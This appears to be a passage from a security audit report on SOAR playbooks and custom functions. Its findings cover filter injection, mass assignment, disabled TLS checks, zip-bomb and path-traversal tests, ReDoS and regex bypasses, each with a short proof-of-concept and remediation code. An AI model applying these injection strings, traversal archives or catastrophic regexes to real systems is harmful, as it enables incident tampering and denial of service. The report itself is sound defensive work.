PB1-16 — phantom.debug logs full observable and result structures (investigation data to logs)

Severity: Informational (CVSS v3.1 base 1.8). Exploitability: Data minimisation.

Location. playbooks/Active_Directory_Enable_Account_Dispatch.py:107,116; CrowdStrike_OAuth_API_Executable_Denylisting.py:102; playbooks/CrowdStrike_OAuth_API_Network_Isolation.py:126; playbooks/CrowdStrike_OAuth_API_File_Eviction.py:109; playbooks/CrowdStrike_OAuth_API_File_Restore.py:99; playbooks/CrowdStrike_OAuth_API_Endpoint_Analysis.py:447; playbooks/CrowdStrike_OAuth_API_Dynamic_Analysis.py:304,395

Description: Numerous blocks log full observable/result structures to the SOAR debug log at INFO. These contain usernames, device ids, internal IPs, file hashes and connection tables. None are credentials, but they are investigation data that need not be in debug output and that widens who can see it (anyone with log access). The inconsistency (Disable dispatch commented the debug out, Enable left it active) shows this is incidental, not intended.

- **Verdict**: Not an external-exploit vector; defense-in-depth / data-minimisation.

Remediation: remove or gate these `phantom.debug` calls behind a debug flag; never log full result objects in production content.

Standards mapping.

CWE: CWE-532 Insertion of Sensitive Information into Log File; CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (2024 CWE Top 25 #17). **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST SP 800-53r5:** AU-9 Protection of Audit Information, SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security, DE.AE Detect - Adverse Event Analysis. **ISO/IEC 27001:2022:** A.8.15 Logging. **SANS Secure Coding Practice:** SOAR playbooks / Error Handling and Logging.

PB1-17 — Correctness and dead-code defects (misrouted enrichment dispatch, wrong keys, column mismatch)

Severity: Informational (no CVSS score (informational)). Exploitability: Correctness.

Location. playbooks/Automated_Enrichment.py:34-35; Azure_AD_Graph_User_Attribute_Lookup.py:180; AD_LDAP_Entity_Attribute_Lookup.py:152; PhishTank_URL_Reputation_Analysis.py:253-254; MS_Graph_for_Office_365_Message_Identifier_Activity_Analysis.py:137; Dynamic_Analysis_Dispatch.py:124,129

Description: Logic/quality defects that cause wrong routing, always-null outputs, downstream crashes or malformed reports. None is directly a security sink but several degrade detection/response (the Automated Enrichment misrouting means reputation analysis silently does not run; the `"soure"` typo crashes the attribute dispatcher on AD LDAP users). **Remediation**: fix the playbook name in `Automated_Enrichment`, the `"soure"`->`"source"` key, the PhishTank `port` key, the O365 report header, and remove the duplicate `phantom.format`.

Standards mapping.

CWE: CWE-670; CWE-561 Dead Code. **OWASP Top 10 2021:** A04:2021 Insecure Design. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / General Coding Practices.

PB1-18 — Analyst-prompt design weaknesses in the Search-and-Purge playbooks

Severity: Informational (no CVSS score (informational)). Exploitability: Design weakness.

Location. playbooks/G_Suite_for_Gmail_Search_and_Purge.py:277-305,330-355; MS_Graph_for_Office_365_Search_and_Purge.py:354-435

Description: These playbooks correctly gate permanent/soft deletion on a `prompt2` to the container owner (good - this is the pattern the other destructive playbooks lack, PB1-03). Two weaknesses: (1) the prompt is addressed to `container.get('owner_name')` with `role=None`, so if the container is unowned or owned by a low-privilege user the approval may go to the wrong person or auto-expire; (2) in the O365 variant the prompt table is built from `filtered-data:identifier_filter:condition_2:...` (`format_prompt.py:360-365`) - `condition_2` is the "no observables" branch, so the analyst can be shown an empty/mismatched table while still being asked to approve a delete. The Gmail variant builds its prompt from `condition_1` correctly. **Remediation**: address the prompt to a security `role` rather than the container owner, and build the prompt table from the same `condition_1` dataset that feeds the eviction so the analyst sees exactly what will be deleted.

Standards mapping.

CWE: CWE-357; CWE-840. **OWASP Top 10 2021:** A04:2021 Insecure Design. **NIST SP 800-53r5:** AC-3 Access Enforcement, IR-4 Incident Handling. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.5.15 Access control. **SANS Secure Coding Practice:** SOAR playbooks / Access Control.

PB2-16 — Bare except and unguarded dictionary/division in result normalisation blocks

Severity: Informational (no CVSS score (informational)). Exploitability: Robustness.

Location. playbooks/internal_host_winrm_log4j_investigate.py:83-84; VirusTotal_v3_Dynamic_Analysis.py:193; UrlScan_IO_Dynamic_Analysis.py

Code excerpt:

```
except:
    phantom.error("Unable to parse JSON")
```

Description: A bare `except:` catches everything (including `KeyboardInterrupt`, `SystemExit`) and continues, which can mask real failures and lead to silent partial results in an investigation. `UrlScan_IO_Dynamic_Analysis.py` and the VirusTotal normalize blocks have related fragility (unguarded dict indexing like `summary_data['harmless']` at `VirusTotal_v3_Dynamic_Analysis.py:193` can `KeyError` and abort the whole branch; `confidence = 100 - int((undetected/vendors)*100)` can `ZeroDivisionError` if `vendors == 0`). **Remediation**: `except (ValueError, KeyError, TypeError) as e:` and guard divisions (`if not vendors: continue`).

Standards mapping.

CWE: CWE-396; CWE-391 Unchecked Error Condition. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures. **NIST SP 800-53r5:** SI-11 Error Handling. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Error Handling and Logging.

PB2-17 — Legacy python_version and Classic-editor playbooks carry the ungated destructive patterns

Severity: Informational (no CVSS score (informational)). Exploitability: Advisory.

Location. playbooks/block_indicators.json, malware_hunt_and_contain.json, hunting.json, trustar_enrich_indicators.json

`block_indicators.json`, `malware_hunt_and_contain.json`, `hunting.json` declare `"3"` (legacy) while the rest declare `"3.13"`. `block_indicators/malware/hunting` are also `vpe_type: Classic` (older editor) and carry the oldest patterns (no prompts — see PB2-10). **Description**: Not a vulnerability, but the Classic/`"3"` playbooks are the ones with the ungated destructive actions and should be prioritised for modernisation. **Remediation**: migrate Classic playbooks to Modern VPE and add approval gates.

Standards mapping.

CWE: CWE-1104 Use of Unmaintained Third Party Components. **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components. **NIST SP 800-53r5:** SA-22 Unsupported System Components. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.8 Management of technical vulnerabilities. **SANS Secure Coding Practice:** SOAR playbooks / System Configuration.

4.2 SOAR Custom Functions

This area produced 18 unique findings: 8 Medium, 9 Low, 1 Informational.

CF-01 — Unescaped input interpolated into SOAR REST _filter_* query strings (filter/parameter injection)

Severity: Medium (CVSS v3.1 base 6.5). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/custom_functions/container_update.py:46,54; workbook_add.py:67,82,84; workbook_task_update.py:100,108; asset_get_attributes.py:33; indicator_tag.py:49; indicator_get_by_tag.py:93; playbooks_list.py:41,44,56; find_related_containers.py:72-80,84,128,151,163

- `container_update.py:46` `url = phantom.build_phantom_rest_url('ph_user') + f'?_filter_username="{owner}"'`
- `container_update.py:54` `... + f'?_filter_name="{owner}"'` (role lookup)
- `workbook_add.py:67,82,84` `... + '?_filter_name="{}"'.format(workbook)` etc.
- `workbook_task_update.py:100,108` `... + f'?_filter_username="{owner}"'`
- `asset_get_attributes.py:33` `params = {'_filter_name': '"{}"'.format(asset)}`
- `indicator_tag.py:49` `params = {'_filter_value__iexact': f'"{indicator}"'}`
- `indicator_get_by_tag.py:93` `'_filter_tags__contains': f'"{tag}"'`
- `playbooks_list.py:41,44,56` `_filter_name/category/name`
- `find_related_containers.py:72-80,84,128,151,163` `f'&_filter_create_time__gt="{...}"'`, `f'&_filter_status__in={v}'`, `f'_filter_cef__{k}'`, `f'&_filter_id__in={group}'`, `f'?_filter_value_hash__in={group}'`

Description: These functions build SOAR REST URLs/params by interpolating attacker-influenceable strings directly into Django-ORM-style `_filter_*` query parameters with no URL-encoding and no escaping of the surrounding double quotes. A value containing `&`, `=`, or `"` can inject additional query parameters or alter the filter expression. Because the SOAR REST API honours many `_filter_<field>__<op>` operators plus controls like `page_size`, `_exclude_*`, and `pretty`, an attacker who controls one of these inputs can broaden or redirect the query (e.g. make an "owner" lookup resolve to a privileged user/role, make `find_related_containers` match unrelated incidents, or enumerate records beyond the intended scope). In `find_related_containers`, the **field name** itself (`_filter_cef__{k}`) is interpolated, allowing injection of a different field or a `__` operator suffix. **Untrusted-input reachability**: Source → sink: artifact/container CEF value (or playbook author field) → function input (`owner`, `workbook`, `asset`, `indicator`, `tag`, `field_list`, `filter_*`) → f-string → `phantom.requests.get(url, verify=False)`. **Conditionally exploitable** — requires a playbook to map an attacker-influenced CEF field into the vulnerable parameter (common for `indicator`, `value_list`, `field_list`, `filter_*`; rarer for `owner`). The SOAR REST layer, not a SQL DB, is the backend, so impact is scoped-query manipulation / information disclosure / wrong-record action rather than raw SQLi. **Proof of concept** (local, string-building reproduction of `container_update.py:46`):

```
$ python3 -I filter_injection.py
'x"&_filter_id__gt=0&_x="' ->
    https://soar.local/rest/ph_user?_filter_username="x"&_filter_id__gt=0&_x=""
'x"&page_size=0&_exclude_automation=false&="' ->
    https://soar.local/rest/ph_user?
_filter_username="x"&page_size=0&_exclude_automation=false&=""
```

The injected `&_filter_id__gt=0` / `&page_size=0` become live query parameters, breaking out of the intended single-username filter. **Remediation**: Never interpolate into the query string. Pass filter values via the `params=` dict and URL-encode, and reject control characters. Example fixed owner→id lookup:

```
from urllib.parse import quote
def _lookup_owner_id(phantom, owner):
    if not isinstance(owner, str) or any(c in owner for c in '&="\n\r'):
        raise ValueError("invalid owner value")
    url = phantom.build_phantom_rest_url('ph_user')
    resp = phantom.requests.get(
        url,
        params={'_filter_username': '"{}"'.format(owner)},  # single param, lib-encoded
        verify=True,
    ).json()
    data = resp.get('data') or []
    if len(data) == 1:
        return {'owner_id': data[0]['id']}
    ...
```

Using `params=` makes `requests` percent-encode the value so embedded `&`/`=` cannot add parameters; the explicit character reject blocks quote-breakout of the `__exact` expression. For `find_related_containers`, additionally allowlist `field_list` entries against a known set of CEF field names before building `_filter_cef__{k}`.

Standards mapping.

CWE: CWE-88 Improper Neutralization of Argument Delimiters in a Command (Argument Injection); CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection); CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1565.001 Data Manipulation: Stored Data Manipulation. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security.

ISO/IEC 27001:2022: A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Output Encoding.

CF-02 — container_update mass-assignment via input_json with no key allow-list

Severity: Medium (CVSS v3.1 base 6.5). Exploitability: Conditionally exploitable.

Location. playbooks/custom_functions/container_update.py:71-78

```
if input_json:
    json_dict = json.loads(input_json)
    update_dict = {**update_dict, **json_dict}   # no filtering
if update_dict:
    phantom.update(container, update_dict)
```

Description: Unlike `artifact_create.py`/`artifact_update.py` (which enforce a `valid_keys` allowlist), `container_update` merges an arbitrary attacker-supplied JSON object straight into the container update payload. Any field the `/rest/container` endpoint accepts — `owner_id`, `role_id`, `status`, `sensitivity`, `severity`, `label`, `tags`, `custom_fields`, `container_type` — can be set. Combined with "`input_json` will take precedence" this also overrides the function's own typed parameters. **Untrusted-input reachability**: CEF/artifact JSON string → `input_json` → `json.loads` → `phantom.update`. **Conditionally exploitable** if a playbook maps attacker-influenced data (e.g. a JSON blob parsed from a phishing artifact) into `input_json`. Impact: unauthorized container field manipulation (reassign owner, downgrade severity, change status to hide an incident). **Proof of concept**: payload `input_json = '{"owner_id": 1, "status": "closed", "severity": "low"}'` is merged verbatim and sent to `phantom.update`, closing/reassigning the container. **Remediation**:

```
CONTAINER_VALID_KEYS = {
    'name','description','label','owner_id','role_id','sensitivity',
    'severity','status','tags','custom_fields','container_type','due_time',
}
if input_json:
    json_dict = json.loads(input_json)
    if not isinstance(json_dict, dict):
        raise ValueError("input_json must decode to an object")
    for k in list(json_dict):
        if k not in CONTAINER_VALID_KEYS:
            phantom.debug(f"dropping unsupported key: {k}")
            json_dict.pop(k)
    update_dict.update(json_dict)
```

Mirrors the allowlist already used by the artifact functions; preserves documented functionality (custom_fields still allowed) while blocking unexpected privileged fields.

Standards mapping.

CWE: CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes (Mass Assignment); CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A08:2021 Software and Data Integrity Failures, A04:2021 Insecure Design. **MITRE ATT&CK:** T1565 Data Manipulation. **NIST SP 800-53r5:** AC-3 Access Enforcement, SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Input Validation.

CF-03 — TLS verification disabled on every custom-function REST call (30+ sites)

Severity: Medium (CVSS v3.1 base 5.9). Exploitability: Not exploitable on loopback (defence-in-depth).

Location. playbooks/custom_functions/*.py (e.g. artifact_create.py:112, container_merge.py:55-194, find_related_containers.py:47-237, workbook_task_update.py:101-160)

Description: Every `phantom.requests.get/post` passes `verify=False`, disabling TLS certificate validation. On SOAR these calls normally target the loopback REST endpoint, which bounds real-world risk, but the pattern is copied uniformly and would transmit auth cookies/tokens and sensitive IR data without authentication of the server if the base URL is ever remote or proxied. It also suppresses urllib3 warnings and normalizes an insecure default across the codebase. **Untrusted-input reachability**: Not attacker-triggered; **Not exploitable in the default loopback deployment** (defense-in-depth). Becomes exploitable (MITM of IR data / session tokens) only if `phantom.get_base_url()` resolves to a non-loopback host. **Proof of concept**: n/a (configuration); the stub PoC output shows `verify=False` on every emitted request, e.g. `[REST GET] verify=False https://soar.local/rest/...`. **Remediation**: Rely on the platform's verified session or pass `verify=True` (the SOAR CA is present in the appliance trust store). Where loopback self-signed certs are unavoidable, pin the CA bundle path rather than disabling verification:

```
resp = phantom.requests.get(url, params=params, verify=True)
```

Standards mapping.

CWE: CWE-295 Improper Certificate Validation. **OWASP Top 10 2021:** A07:2021 Identification and Authentication Failures, A02:2021 Cryptographic Failures. **MITRE ATT&CK:** T1557 Adversary-in-the-Middle. **NIST SP 800-53r5:** SC-8 Transmission Confidentiality and Integrity. **NIST CSF 2.0:** PR.DS Protect - Data Security. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography. **SANS Secure Coding Practice:** SOAR custom functions / Communication Security.

CF-06 — regex_filter_list uses prefix-anchored re.match for keep/drop filtering (allow-list bypass)

Severity: Medium (CVSS v3.1 base 5.4). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/custom_functions/regex_filter_list.py:28-35

```
for item in input_list:
    if item:
        if re.match(str(regex), str(item)):   # anchors at start only, not full string
            if action == 'keep': outputs.append({"item": item})
        else:
            if action == 'drop': outputs.append({"item": item})
```

Description: `re.match` anchors only at the **start** of the string and does not require the pattern to consume the whole value (no `$`/`fullmatch`). When this function implements a security allow/deny filter over indicators, an attacker can append arbitrary suffixes to slip a malicious value past a `keep` allowlist or make it evade a `drop` denylist. E.g. a "keep only `*.exe`" rule keeps `malware.exe.ransomware`; a "keep only `corp.example.com` URLs" rule keeps `corp.example.com.attacker.io`. **Untrusted-input reachability**: CEF indicator value → `item`, playbook regex → `regex`. **Conditionally exploitable** wherever the result drives a block/allow decision. **Proof of concept**:

```
$ python3 -I regex_user.py
regex='\w+\.exe'                 item='malware.exe.ransomware'              match=True
regex='https?://corp\.example\.com' item='https://corp.example.com.attacker.io/'
match=True
```

Remediation: use `re.search` for "contains", or `re.fullmatch` for "the whole value must match", and document which semantics the keep/drop filter guarantees. For allowlisting, `fullmatch` is correct:

```
compiled = re.compile(regex)
matched = bool(compiled.fullmatch(str(item)))   # whole-string match
```

This removes the trailing-suffix bypass without changing behaviour for already-correct patterns that match whole values.

Standards mapping.

CWE: CWE-625; CWE-692; CWE-20 Improper Input Validation (2024 CWE Top 25 #12). **OWASP Top 10 2021:** A03:2021 Injection, A01:2021 Broken Access Control. **MITRE ATT&CK:** T1027 Obfuscated Files or Information. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Input Validation.

CF-09 — container_merge: unauthorised close/merge/evidence on attacker-influenced container IDs (IDOR)

Severity: Medium (CVSS v3.1 base 5.4). Exploitability: Conditionally exploitable.

Location. playbooks/custom_functions/container_merge.py:108-167

Description: `container_list` is numeric-validated but never authorization-checked. Any container ID reachable by the automation user is copied into the target case, marked as evidence, annotated, and optionally **closed**. If an attacker can influence the `container_list` input (e.g. a CEF field that a playbook feeds in), they can merge unrelated incidents, pollute a case with chosen artifacts, or close/hide active incidents (evidence tampering / incident disruption). Notes are built with container-supplied names into markdown (`[{name}]({base}/mission/{id})`), a stored-content concern. **Untrusted-input reachability**: CEF-derived IDs → `container_list`. **Conditionally exploitable** (requires the playbook to map attacker data into `container_list`; IDs must be valid/reachable). **Proof of concept**: not executed against a live SOAR (would require the REST backend); the code path performs `set_status(container=child_container_id, status="closed")` and evidence POST for every supplied ID with no ownership/relationship check. **Remediation**: before acting, fetch each child container and verify it is in scope (same label/owner/tenant or an explicit allowlisted relationship), and require an explicit opt-in flag for the destructive `close` step; markdown-escape container names in notes.

Standards mapping.

CWE: CWE-639 Authorization Bypass Through User-Controlled Key (IDOR); CWE-862 Missing Authorization (2024 CWE Top 25 #9). **OWASP Top 10 2021:** A01:2021 Broken Access Control. **MITRE ATT&CK:** T1565.001 Data Manipulation: Stored Data Manipulation, T1070 Indicator Removal. **NIST SP 800-53r5:** AC-3 Access Enforcement. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.8.3 Information access restriction. **SANS Secure Coding Practice:** SOAR custom functions / Access Control.

CF-04 — zip_extract: uncapped decompression (zip-bomb DoS) and no temp cleanup; Zip-Slip not exploitable

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Exploitable for DoS (PoC executed).

Location. playbooks/custom_functions/zip_extract.py:47-64

```
extract_path = Path("/opt/phantom/vault/tmp/") / vault_id
extract_path.mkdir(parents=True, exist_ok=True)
with zipfile.ZipFile(info[0]["path"]) as f_zip:
    if password:
        f_zip.extractall(str(extract_path), pwd=password.encode())
    else:
        f_zip.extractall(str(extract_path))
for p in extract_path.rglob("*"):
    if p.is_file():
        phantom.vault_add(...)
```

Description: The zip is an attacker-supplied email attachment pulled from the vault. `extractall` is called with **no limit on uncompressed size, compression ratio, or member count**, and the extracted files are then copied into the SOAR vault. A zip bomb exhausts the shared `/opt/phantom/vault` volume (and the vault DB), degrading the whole SOAR node. The temp dir `/opt/phantom/vault/tmp/<vault_id>` is **never cleaned up**, so disk usage grows unbounded across runs. The docstring claims recursive extraction of nested archives, but the code does not re-extract nested zips (functional gap, not a vuln). **Calibrated note on Zip-Slip:** the `../`/absolute-path/symlink traversal that this pattern is classically vulnerable to is **neutralized by CPython's `zipfile`** on the declared Python 3.13 runtime — `extractall` sanitizes member paths and writes symlink entries as regular files. My PoC proves no file escaped the target directory. So path traversal here is **Not exploitable**; the real issue is resource exhaustion + cleanup. **Untrusted-input reachability**: phishing `.zip` in vault (`artifact:*.cef.vaultId`) → `extractall`. **Exploitable** for DoS (no preconditions beyond the playbook running zip_extract on an attacker attachment, which is its purpose). Path traversal: **Not exploitable**. **Proof of concept** (run in scratch dir; `zip_extract.py` copied with only the hardcoded base path redirected into a sandbox):

- Traversal attempt — all members flattened INSIDE the target, none escaped:

```
$ python3 -I run_poc.py <W>
member: '../../../pwned_rel.txt'  ... member: '../../../../../../../../pwned_deep.txt' ...
RETURNED output_files:
   .../tmp/deadbeef.../pwned_rel.txt
   .../tmp/deadbeef.../pwned_deep.txt
   .../tmp/deadbeef.../sub/pwned_mid.txt
   .../tmp/deadbeef.../normal/benign.txt
All files anywhere under sandbox_root:
   opt/phantom/vault/tmp/deadbeef.../{pwned_rel,pwned_deep,sub/pwned_mid,normal/
benign}.txt   (no "ESCAPED" line)
```

- Symlink entry extracted as a plain file (no escape):

```
$ python3 -I zip_behaviour.py
symlink entry extracted as symlink?  False
extracted as regular file?  True   content bytes: b'/etc/passwd'
```

- Decompression ratio with no guard:

```
10 MiB zero file -> compressed zip size: 10315 bytes (ratio ~1016:1)
zip_extract applies NO size/ratio/count cap before extractall() -> decompression DoS
```

Remediation (full replacement of the extraction block):

```
MAX_TOTAL_UNCOMPRESSED = 512 * 1024 * 1024   # 512 MiB cap
MAX_FILES = 10000
MAX_RATIO = 100                              # per-member compression ratio cap

with zipfile.ZipFile(info[0]["path"]) as f_zip:
    infos = f_zip.infolist()
    if len(infos) > MAX_FILES:
        raise ValueError("archive has too many members")
    total = 0
    for zi in infos:
        total += zi.file_size
        if total > MAX_TOTAL_UNCOMPRESSED:
            raise ValueError("archive uncompressed size exceeds cap")
        if zi.compress_size and zi.file_size / zi.compress_size > MAX_RATIO:
            raise ValueError(f"suspicious compression ratio for {zi.filename}")
        # explicit traversal guard (defense in depth even though CPython sanitizes)
        dest = (extract_path / zi.filename).resolve()
        if not str(dest).startswith(str(extract_path.resolve()) + os.sep):
            raise ValueError(f"unsafe member path: {zi.filename}")
    try:
        f_zip.extractall(str(extract_path), pwd=password.encode() if password else None)
        for p in extract_path.rglob("*"):
            if p.is_file() and not p.is_symlink():
                ok, msg, vid = phantom.vault_add(container=container_id,
                                                 file_location=str(p), file_name=p.name)
                if not ok:
                    raise RuntimeError(f"vault_add failed for {p}: {msg}")
                outputs['output_files'].append(
                    {'file_path': str(p), 'file_name': p.name, 'vault_id': vid})
    finally:
        shutil.rmtree(extract_path, ignore_errors=True)   # always clean up
```

Caps stop the bomb before the disk fills; the `finally: rmtree` removes the temp tree; the explicit path check and `not p.is_symlink()` are belt-and-suspenders. Functionality for legitimate archives is unchanged.

Standards mapping.

CWE: CWE-409 Improper Handling of Highly Compressed Data (Data Amplification); CWE-400 Uncontrolled Resource Consumption (2024 CWE Top 25 #24); CWE-459. **OWASP Top 10 2021:** A05:2021 Security Misconfiguration, A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1499 Endpoint Denial of Service. **NIST SP 800-53r5:** SC-5 Denial-of-Service Protection, SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding, A.8.6 Capacity management. **SANS Secure Coding Practice:** SOAR custom functions / File Management.

CF-05 — ReDoS via user-supplied regex compiled in regex_filter_list and regex_split

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/custom_functions/regex_filter_list.py:30; regex_split.py:34-35

Description: Both functions compile a caller-supplied regular expression on every item with no validation, length cap, or timeout. Python's `re` has no built-in backtracking limit, so a catastrophic pattern (or a benign-but-vulnerable pattern applied to attacker-controlled items) hangs the playbook thread. `regex_split`'s `replace('\\\\','\\')` also silently rewrites the pattern, which can turn a valid escape into an invalid one (raising `re.error`) or change its meaning. **Untrusted-input reachability**: `regex` and/or `item`/`input_string` from CEF data → `re.match`/`re.split`. **Conditionally exploitable** — exponential blow-up requires a vulnerable pattern; if the playbook

sources `regex` from an artifact this is directly attacker-controlled, otherwise an attacker-controlled `item` against a fixed vulnerable pattern suffices. **Proof of concept**:

```
$ python3 -I regex_user.py
re.match('(a+)+$', 'a'*22+'!')   0.249s
re.match('(a+)+$', 'a'*26+'!')   3.283s
re.match('(a+)+$', 'a'*30+'!')   TIMEOUT >15s (catastrophic)
```

Remediation: validate/compile once, cap input length, and enforce a wall-clock budget (the `regex` third-party module supports `timeout=`; or run in a worker with `signal.alarm` on the SOAR node):

```
import re
if not isinstance(regex, str) or len(regex) > 512:
    raise ValueError("regex missing or too long")
try:
    compiled = re.compile(regex)
except re.error as e:
    raise ValueError(f"invalid regex: {e}")
MAX_ITEM = 4096
for item in input_list:
    s = str(item)
    if len(s) > MAX_ITEM:
        raise ValueError("item too long to match safely")
    if compiled.search(s):   # see CF-06 re match vs search
        ...
```

For a hard guarantee use the PyPI `regex` module with `compiled.match(s, timeout=1.0)`.

Standards mapping.

CWE: CWE-1333 Inefficient Regular Expression Complexity (ReDoS); CWE-400 Uncontrolled Resource Consumption (2024 CWE Top 25 #24). **OWASP Top 10 2021:** A06:2021 Vulnerable and Outdated Components, A05:2021 Security Misconfiguration. **MITRE ATT&CK:** T1499 Endpoint Denial of Service. **NIST SP 800-53r5:** SC-5 Denial-of-Service Protection, SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Input Validation.

CF-07 — regex_extract_email: polynomial backtracking and incorrect extraction of attacker-controlled domains

Severity: Medium (CVSS v3.1 base 5.3). Exploitability: Exploitable for DoS (PoC executed).

Location. playbooks/custom_functions/regex_extract_email.py:24-31

```
email_regex = r'[a-z0-9.!#$%&\'*+/=?^_`{|}~-]+@[a-z0-9.-]+\.[a-z]{2,}'
for email in re.findall(email_regex, input_string, re.IGNORECASE):
    outputs.append({'email_address': email, 'domain': email.split('@')[-1]})
**Description**: Two problems. (1) The unanchored `+`/`+` quantifiers around `@` exhibit
polynomial backtracking on long inputs with no terminating TLD, and the function runs over
attacker-controlled To/CC/body text with no length cap. (2) The pattern over-matches:
inside a URL it extracts `victim@corp.com.attacker.io` and the derived `domain`
(`email.split('@')[-1]`) becomes attacker-controlled (`corp.com.attacker.io`). If
downstream logic treats that domain as a trusted recipient/sender, the attacker steers it.
**Untrusted-input reachability**: phishing email headers/body (CEF) → `input_string`.
**Exploitable** for DoS (polynomial) and extraction confusion.
**Proof of concept**:
```

$ python3 -I regex_email.py 'see link http://host/?r=victim@corp.com.attacker.io end' -> ['//host/?r=victim@corp.com.attacker.io'] n= 8000 total_len= 16001 1.4294s # ~4x per 2x input -> polynomial

```
**Remediation**: cap input length, anchor with word boundaries, and use a
possessive/atomic-free linear pattern; prefer the `email.utils.getaddresses` parser for
To/CC fields:
```

from email.utils import getaddresses if len(input_string) > 100_000: raise ValueError("input too large") pairs = getaddresses([input_string]) # robust RFC parser for header lists for _, addr in pairs: if '@' in addr: outputs.append({'email_address': addr, 'domain': addr.rsplit('@', 1)[-1]})

> `getaddresses` handles `"Name" <a@b.com>, <c@d.com>` correctly and does not backtrack.

Standards mapping.

CWE: CWE-1333 Inefficient Regular Expression Complexity (ReDoS); CWE-20 Improper Input Validation (2024 CWE Top 25 #12); CWE-400 Uncontrolled Resource Consumption (2024 CWE Top 25 #24). **OWASP Top 10 2021:** A03:2021 Injection, A06:2021 Vulnerable and Outdated Components. **MITRE ATT&CK:** T1499 Endpoint Denial of Service. **NIST SP 800-53r5:** SC-5 Denial-of-Service Protection, SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR custom functions / Input Validation.

CF-11 — asset_get_attributes returns the full asset configuration (possible secret exposure)

Severity: Low (CVSS v3.1 base 4.9). Exploitability: Exposure risk.

Location. playbooks/custom_functions/asset_get_attributes.py:42-44

Description: The entire `/rest/asset/{id}` record — including the `configuration` block, which for many SOAR apps holds credentials/API keys/tokens — is returned verbatim as the function output. The docstring anticipates `configuration.<key>` access, but returning the whole object means secrets can land in playbook debug logs, notes, or artifacts if the output is rendered. (No secret is hard-coded here; the risk is run-time propagation.) **Untrusted-input reachability**: not attacker-input-driven; **exposure** risk depends on how the playbook uses/logs the output. **Remediation**: return only a safe allowlist of non-secret attributes, or redact known-sensitive `configuration` keys (`password`, `token`, `api_key`, `secret`, `*_key`) before returning.

Standards mapping.

CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor (2024 CWE Top 25 #17). **OWASP Top 10 2021:** A01:2021 Broken Access Control, A04:2021 Insecure Design. **MITRE ATT&CK:** T1552 Unsecured Credentials. **NIST SP 800-53r5:** SC-28 Protection of Information at Rest, AC-6 Least Privilege. **NIST CSF 2.0:** PR.DS Protect - Data Security. **ISO/IEC 27001:2022:** A.8.12 Data leakage prevention. **SANS Secure Coding Practice:** SOAR custom functions / Data Protection.

CF-08 — regex_extract_ipv4: unanchored regex extracts wrong or partial IPs used for security decisions

Severity: Low (CVSS v3.1 base 4.3). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/custom_functions/regex_extract_ipv4.py:20

```
ip_rex = re.findall('(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)', input_string)
```

Description: The pattern has no word boundaries/anchors, so it matches *inside* longer numeric tokens and yields an IP different from the real token. Extracted IPs feed block/allow/enrichment actions, so an attacker can cause the SOAR to act on the wrong address (or avoid acting on the intended one). **Untrusted-input reachability**: CEF text → `input_string`. **Conditionally exploitable** (correctness/validation). **Proof of concept**:

```
$ python3 -I regex_ipv4.py
'256.1.1.1'    -> ['56.1.1.1']       # a different, valid, attacker-chosen IP
'1.2.3.4567'   -> ['1.2.3.45']
'1.2.3.4.5.6'  -> ['1.2.3.4']
```

Remediation: add boundaries and validate with the stdlib:

```
import re, ipaddress
candidates = re.findall(r'(?<![\w.])((?:\d{1,3}\.){3}\d{1,3})(?![\w.])', input_string)
ips = []
for c in candidates:
    try:
        ips.append(str(ipaddress.IPv4Address(c)))   # rejects 256.1.1.1 etc.
    except ValueError:
        continue
```

Boundaries stop partial matches; `ipaddress` guarantees each result is a real IPv4.

Standards mapping.

